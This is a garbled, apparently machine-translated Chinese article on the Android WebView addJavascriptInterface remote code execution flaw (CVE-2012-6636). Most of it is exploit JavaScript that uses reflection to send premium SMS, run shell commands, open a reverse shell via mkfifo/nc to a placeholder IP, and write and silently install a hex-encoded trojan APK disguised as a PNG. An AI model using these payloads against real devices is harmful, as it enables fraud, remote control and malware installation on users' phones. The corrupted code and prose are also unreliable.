关于Android中WebView远程代码执行漏洞浅析

  


  

  

,,,,,Android API级别16以及之前的版本存在远程代码执行安全漏洞,该漏洞源于程序没有正确限制使用WebView。addJavascriptInterface方法,远程攻击者可通过使用Java Reflection API利用该漏洞执行任意Java对象的方法,简单的说就是通过addJavascriptInterface给WebView加入一个JavaScript桥接接口,JavaScript通过调用这个接口可以直接操作本地的Java接口。该漏洞最早公布于cve - 2012 - 6636【1】,其描述了WebView中addJavascriptInterface API导致的远程代码执行安全漏洞。
  

  

,,,,,该漏洞公布的近期,多款Android流行应用曾被曝出高危挂马漏洞:点击消息或朋友社区圈中的一条网址时,用户手机然后就会自动执行被挂马的代码指令,从而导致被安装恶意扣费软件,向好友发送欺诈短信,通讯录和短信被窃取以及被远程控制等严重后果。在乌云漏洞平台上,包括Android版的微信,QQ,腾讯微博,QQ浏览器,快播,百度浏览器,金山浏览器等大批前应用均被曝光同类型的漏洞。
  

  

,,,,,论文攻击>   mWebView=new WebView(这个);   mWebView.getSettings () .setJavaScriptEnabled(真正的);   mWebView。addJavascriptInterface(这一点,“injectedObj”);   mWebView.loadUrl(文件:///android_asset/www/index . html),      

,,,,,EXP的JavaScript代码:
  

        & lt; html>   & lt; body>   & lt; script>   var objSmsManager=injectedObj.getClass () .forName (“android.telephony.SmsManager”)。getM ethod (“getDefault ", null) .invoke(空,空);   objSmsManager。sendTextMessage (" 10086 ", null,“这消息发送时被JS webview加载”,空,空);   & lt;/script>   & lt;/body>   & lt;/html>      

,,,,,2)利用addJavascriptInterface方法注册可供JavaScript调用的java对象“injectedObj”,利用反射机制调用Android API getRuntime执行shell命令:
  

  

,,,,,EXP的JavaScript代码:
  

        & lt; html>   & lt; body>   & lt; script>   函数执行(cmdArgs)   {   返回injectedObj.getClass () .forName (java.lang.Runtime) .getMethod (“getRuntime”, null) .invoke (null, null) .exec (cmdArgs);   }      var res=执行([“/系统/bin/sh”、“c”,“ls过程/mnt/sdcard/"));   document . write (getContents (res.getInputStream ()));   & lt;/script>   & lt;/body>   & lt;/html>      

,,,,,利用后的执行结果:

  

关于Android中WebView远程代码执行漏洞浅析

  

,,,,,3)利用addJavascriptInterface方法注册可供JavaScript调用的java对象“injectedObj”,利用反射机制调用Android API getRuntime执行shell命令,达到反弹一个手机端的外壳到远程控制端的目的:
  

  

,,,,,EXP的JavaScript代码:
  

        & lt; html>   & lt; body>   & lt; script>   函数执行(cmdArgs)   {   返回injectedObj.getClass () .forName (java.lang.Runtime) .getMethod (“getRuntime”, null) .invoke (null, null) .exec (cmdArgs);   }   执行([“/系统/bin/sh”、“c”,“rm/tmp/f; mkfifo/tmp/f;猫/tmp/f |/系统/bin/sh - 2祝辞,1 |数控. x.x.x。x 9099在/tmp/f));   & lt;/script>   & lt;/body>   & lt;/html>      

,,,,,执行后的结果:
  

  

, 关于Android中WebView远程代码执行漏洞浅析“> <br/>
  </p>
  <p>,,,,,4)利用addJavascriptInterface方法注册可供JavaScript调用的java对象“injectedObj”,利用反射机制调用Android API getRuntime执行shell命令进行挂马:一个安装木马应用的APK, b安装执行精灵可执行程序;<br/>
  </p>
  <p>,,,,,简单的安装发送短信木马APK, EXP的JavaScript代码:<br/>
  </p>
  
  <pre类=   & lt; html>   & lt; body>   & lt; script>   函数执行(cmdArgs)   {   返回injectedObj.getClass () .forName (java.lang.Runtime) .getMethod (“getRuntime”, null) .invoke (null, null) .exec (cmdArgs);   }   丹共var=" \ \×50 \ \ x4B \ \ x03 \ \ x04 \ \ x14 \ \ x00 \ \ (\ \ x00 \ \ (\ \ x00 \ \ x62 \ \ xB9 \ \ x15 \ \ x30 \ \ x3D \ \ x07 \ \ x01 \ \ x00 \ \ x00 \ \ x7C \ \ x01 \ \ x00 \ \ x00 \ \ x10 \ \ x00 \ \ x00 \ \ x00 \ \ x00 \ \ x00 \ \ x00 \ \ x00 \ \ x00 \ \ x00 \ \ x00 \ \ x00 \ \ x00 \ \ x00 \ \ xD6 \ \ x0D \ \ x00 \ \ x00 \ \ x4D \ \ x45 \ \ x54 \ \ x41 \ \ x2D \ \ x49 \ \ x4E \ \ x46 \ \ x2F \ \ x43 \ \ x45 \ \ x52 \ \ \ \表示就是x54 \ \ x2E x53 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \ \ x4D \ \ x45 \ \ x54 \ \ x41 \ \ x2D \ \ x49 \ \ x4E \ \ x46 \ \ x2F \ \ x43 \ \ x45 \ \ x52 \ \ \ \表示就是x54 \ \ x2E x52 \ \ x53 \ \ x41 \ \×50 \ \ x4B \ \ x05 \ \ x06 \ \ x00 \ \ x00 \ \ x00 \ \ x00 \ \ x07 \ \ x00 \ \ x07 \ \ x00 \ \ xBA \ \ x01 \ \ x00 \ \ x00 \ \ xB6 \ \ x11 \ \ x00 \ \ x00 \ \ x00 \ \ x00”   执行([“/系统/bin/sh”、“c”,“回声”丹共“+ +”“比;/数据/数据/com.example.hellojs fake.png "]);   执行([" chmod ", " 755 ", "/数据/数据/com.example.hellojs/fake.png "));   执行([“苏”、“c”,“点安装- r/数据/数据/com.example.hellojs/fake.png "));   & lt;/script>   & lt;/body>   & lt;/html>

关于Android中WebView远程代码执行漏洞浅析